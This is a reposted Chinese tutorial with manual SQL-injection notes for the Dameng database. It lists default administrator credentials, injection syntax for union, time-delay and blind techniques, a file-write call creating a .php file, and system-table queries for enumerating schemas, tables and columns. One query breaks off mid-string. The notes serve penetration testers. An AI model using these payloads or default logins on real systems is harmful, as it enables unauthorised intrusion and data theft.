达梦数据库手工注入笔记

这篇具有很好参考价值的文章主要介绍了达梦数据库手工注入笔记。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

前言

随着信创产业的逐步普及,很多小伙伴在渗透实战时会越来越多的遇到国产化数据库,如达梦、人大金仓等。如果使用该类数据库的站点存在sql注入漏洞,用sqlmap等工具无法支持我们直接得到想要的数据,我们需要理解这些数据库的语法才能更好的进行手工注入。本文总结了一些达梦数据库的手工注入技巧,欢迎大家收藏转发。

0x01 默认用户

默认安装的达梦数据库存在下面两个用户,密码与用户名相同,注意大小写

SYSDBA/SYSDBA

SYSAUDITOR/SYSAUDITOR

0x02 端口服务

默认端口:5236

默认服务名:DmServiceDMSERVER

远程:达梦数据库默认支持远程连接,只要网络可达,就可以连接成功。并没有类似mysql的只允许localhost连接的特性。

0x03 基础信息获取语法

SQL语句

语法

效果

select user

语法

正确

返回当前用户,默认是SYSDBA

select user()

语法

正确

返回当前用户,默认是SYSDBA

select db_name()

语法

错误

不存在方法db_name()

select database()

语法

错误

不存在方法database()

select cur_database

语法

正确

返回当前库名,默认是DAMENG

select cur_database()

语法

正确

反回当前库名,默认是DAMENG

0x04 语法特性

SQL语句

语法

效果

select  1

语法

正确

select语句后面可以不跟表名

select  1 from dual

语法

正确

存在默认表dual

select  1 from dual -- a

语法

正确

支持--单行注释

select  1 from dual # a

语法

错误

不支持#单行注释

select  1/*aaa*/from dual

语法

正确

支持/**/多行注释

select  1 from dual where 1

语法

错误

条件表达式必须是bool值

select  if(1=2, exp(710), 1)

语法

错误

不能在if表达式中使用子表达式

select  exp(if(1=2, 710,1))

语法

正确

可以在exp表达式中使用子表达式

select  1 from dual where 1=2 union select user()

语法

错误

字符串转换错误,联合查询要求字段类型必须相同

select  '1' from dual where 1=2 union select user()

语法

正确

支持union select联合查询语法

waitfor  delay '0:0:5'

语法

错误

不支持waitfor语法

select  sleep(5)

语法

错误

select 和sleep使用语法错误

sleep(5)

语法

正确

延时5s

exec  sleep 5

语法

正确

延时5s

select  1 from dual where 1=user()

会报错

但是不会报错出错误详情,不能用于报错注入

select  1 from dual where 1=updatexml(1,user(),1)

语法

错误

没有updatexml函数

select  `ACCOUNT_ID` from OTHER.ACCOUNT

语法

错误

不能用反引号标识表名和字段名

select  "ACCOUNT_ID" from "OTHER"."ACCOUNT"

语法

正确

如果表名和字段名中有特殊符号,可以用双引号包裹表名和字段名,不能用反引号

select  1 from dual where 1=1 || 1=1

语法

错误

不能使用||代替or

select  1 from dual where 1=1 && 1=1

语法

正确

可以使用&&代替and

select  top 1 * from account

语法

正确

支持top语法

select  * from account limit 0,1

语法

正确

支持limit语法

select  1 into outfile 'D:/1.txt'

语法

错误

不支持outfile语法

select  * from other.depttab where dname=0x61

语法

正确

但是不支持把字符串转换为0x61这种16禁止字符串的功能

copy  (select DNAME from other.depttab) to 'D:/1.txt'

语法

错误

不支持copy语法

utl_file.put_line(utl_file.fopen('D:\dmdbms\data\DAMENG\test',  'test.php', 'A'), 'xxxxxx')

语法

正确

可以写入文件,但是只能写到DAMENG目录,比较鸡肋

0x05 函数特性

函数示例

返回值

substr('1234',2,1)

返回2,第二个参数从第几位开始取值,第三个参数代表截图多少位

substring('1234',2,1)

同substr函数

left('123456', 3)

返回123,第二个参数代表返回左边几位的字符

right('123456', 3)

返回456,第二个参数代表返回右边几位的字符

if(1=1,1,2)

返回1,条件判断,如果条件成立返回第二个参数值,如果条件不成立,返回第三个参数值

md5(1)

返回

0xC4CA4238A0B923820DCC509A6F75849B,返回对应MD5值,前面加了0x

if(1=ascii(substr('123456',2,1)),2, 1)

综合使用,盲注必备

exp(if(1=1,710,1))

exp(710)返回整数溢出错误,使用这种方式可以强制BOOL盲注

0x06 手工注入

>通过查询系统表来手工注入

1) 查询库名

SYS.SYSOBJECTS表中保存全部的库名信息,可以使用下面的方式查询到所有的库名和对应ID

select NAME,ID from SYS.SYSOBJECTS where TYPE$='SCH'

2) 查询表名

SYS.SYSOBJECTS表中同时保存全部的表名信息,可以使用下面的方式查询到所有的表名。其中SCHID来自步骤1)中获得的ID

select NAME,ID from SYS.SYSOBJECTS where TYPE$='SCHOBJ' and SUBTYPE$='UTAB' and SCHID=150995949

3) 查询列名

SYS.SYSCOLUMNS表中字段名称和字段类型,可以使用下面的方式查询所有的表对应的列名。其中ID为步骤2)中获取的ID

select NAME,TYPE$,DEFVAL from SYS.SYSCOLUMNS where ID=1078

>通过查询视图来手工注入

1) 查询用户

可以使用下面的方式查询全部的数据库的用户名

select USERNAME from SYS.ALL_USER

2) 查询库名

可以使用下面的方式查询全部库名,其中OWNER代表的是步骤1)对应的数据库用户名。

select OBJECT_NAME from SYS.ALL_OBJECTS where OWNER='SYSDBA' and OBJECT_TYPE='SCH'

3) 查询表名

可以使用下面的方式查询全部表名,这里的OWNER代表的是步骤2)对应的库名。

select OBJECT_NAME from SYS.ALL_OBJECTS where OWNER='OTHER' and OBJECT_TYPE='TABLE'

4) 查询列名

可以使用下面的方式返回指定条件对应的列名,其中SCHEMA_NAME代表库名,TABLE_NAME代表表名。

select OWNER,TABLE_NAME,SCHEMA_NAME,COLUMN_NAME from SYS.ALL_COL_COMMENTS where SCHEMA_NAME='OT

0x07 总结

达梦是一套优秀的国产化关系型数据库,目前在信创领域拥有大量的用户,其遵循SQL语言标准规范,从语法上来说和mysql和mssql都不太一样。文章来源地址https://www.toymoban.com/news/detail-565623.html

到了这里,关于达梦数据库手工注入笔记的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 开发 | JAVA连接达梦数据库(DM8)

    本文参考文献 https://eco.dameng.com/docs/zh-cn/start/java-development.html https://eco.dameng.com/docs/zh-cn/app-dev/index.html 本文通过以下方式实现Java程序与DM8数据库的交互 使用JDBC接口(不用框架,最简单) 使用MyBatis框架 使用Spring框架 使用SpringBoot Jdbc 框架 Java的软件开发工具包(SDK) JDK(Ja

    2024年02月07日
    浏览(54)
  • 确保你的数据库安全:如何防止SQL注入攻击

    最近,越来越多的组织和公司受到SQL注入攻击的困扰。这种攻击可以导致数据库中的敏感信息泄露,破坏数据完整性,甚至可能导致整个系统崩溃。如果您是一名数据库管理员或网站管理员,您需要了解如何保护您的数据库免受SQL注入攻击的威胁。在本文中,小德将介绍什么

    2024年02月02日
    浏览(43)
  • 五、C#与数据库交互( SQL注入与安全性)

    在C#与数据库交互时,安全性是非常重要的一部分,特别是要防止SQL注入攻击。SQL注入是一种常见的网络攻击手段,攻击者通过在输入字段中注入恶意SQL代码来操纵数据库查询。以下是一些关于如何防止SQL注入的建议: 使用参数化查询 : 这是防止SQL注入的最有效方法。参数化

    2024年02月02日
    浏览(46)
  • 【网络安全---sql注入(2)】如何通过SQL注入getshell?如何通过SQL注入读取文件或者数据库数据?一篇文章告诉你过程和原理。

    分享一个非常详细的网络安全笔记,是我学习网安过程中用心写的,可以点开以下链接获取: 超详细的网络安全笔记 本篇博客主要是通过piakchu靶场来讲解如何通过SQL注入漏洞来写入文件,读取文件。通过SQL输入来注入木马来getshell等,讲解了比较详细的过程; 如果想要学习

    2024年02月07日
    浏览(42)
  • <达梦>《达梦数据库备份归档》

    方式 备份 DIsql 工具 用于执行联机的数据备份与数据还原,包括数据库备份、归档备份、表空间备份与还原、表备份与还原; DMRMAN 工具 用于执行脱机的数据备份、还原与恢复,包括脱机的数据库备份、还原与恢复,脱机还原表空间,归档的备份、还原与修复; 客户端工具

    2024年02月05日
    浏览(57)
  • 达梦数据库创建及数据库实例管理

    数据库配置助手创建数据库调用 dbca.sh 图形化界面创建数据库: [dmdba@DCA02 tool]$ ./dbca.sh 2021-01-11 11:43:45 [com.dameng.dbca.Startup] [INFO] 启动 DBCA 指定数据库名称、实例名称(单机情况下数据库和实例名称可以相同),指定端口号: 簇大小、页大小、字符集、 字符串 大小写敏感、

    2023年04月08日
    浏览(40)
  • 达梦数据库 优化

    优化不能仅从数据库方面考虑,比如,在存储达到数据库极限、应用涉及人员设计的代码稀巴烂的情况下,进行调优就是杯水车薪的效果。 涉及到优化人员: 数据库管理员 应用程序架构师 应用程序设计人员 系统管理员 存储管理员 涉及到的优化内容: 应用程序:(与开发人员

    2024年04月09日
    浏览(36)
  • 达梦数据库 模式 研究

    数据库模式 达梦数据库支持三种模式 normal, primary, standby 普通模式 normal 为数据库的普通模式,当数据库启动后,默认为该模式 该模式下,用户可以 正常进行 数据库操作 正常生成 本地归档, 但不发送实时归档、即时归档 和 异步归档 转换命令 备库模式 该模式下,只能进行

    2024年02月01日
    浏览(30)
  • 达梦数据库的使用

    官网文档:https://eco.dameng.com/docs/zh-cn/faq/faq-import-export.html 达梦数据库安装成功后,会显示如下客户端 用于建立连接,建表,查询等操作,可在模式下查看建立的数据库信息 在库中建表,表名只能大写,或者查询时报错 用于启动停止服务 用于导入导出数据 建立迁移任务,选

    2024年01月23日
    浏览(45)
  • 达梦数据库权限管理

    在对数据库权限进行分配时,对于某些人员只能给部分的访问和操作权限。那么在DM数据库中我们该如何去配置相应的权限呢? 我们下面来进行详细解析。 我们的测试环境是 DM8 。 1、我们首先来建立一个测试用户test; SQLcreate user test identified by test123456; 2、接下来看一下TEST用

    2024年02月09日
    浏览(72)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包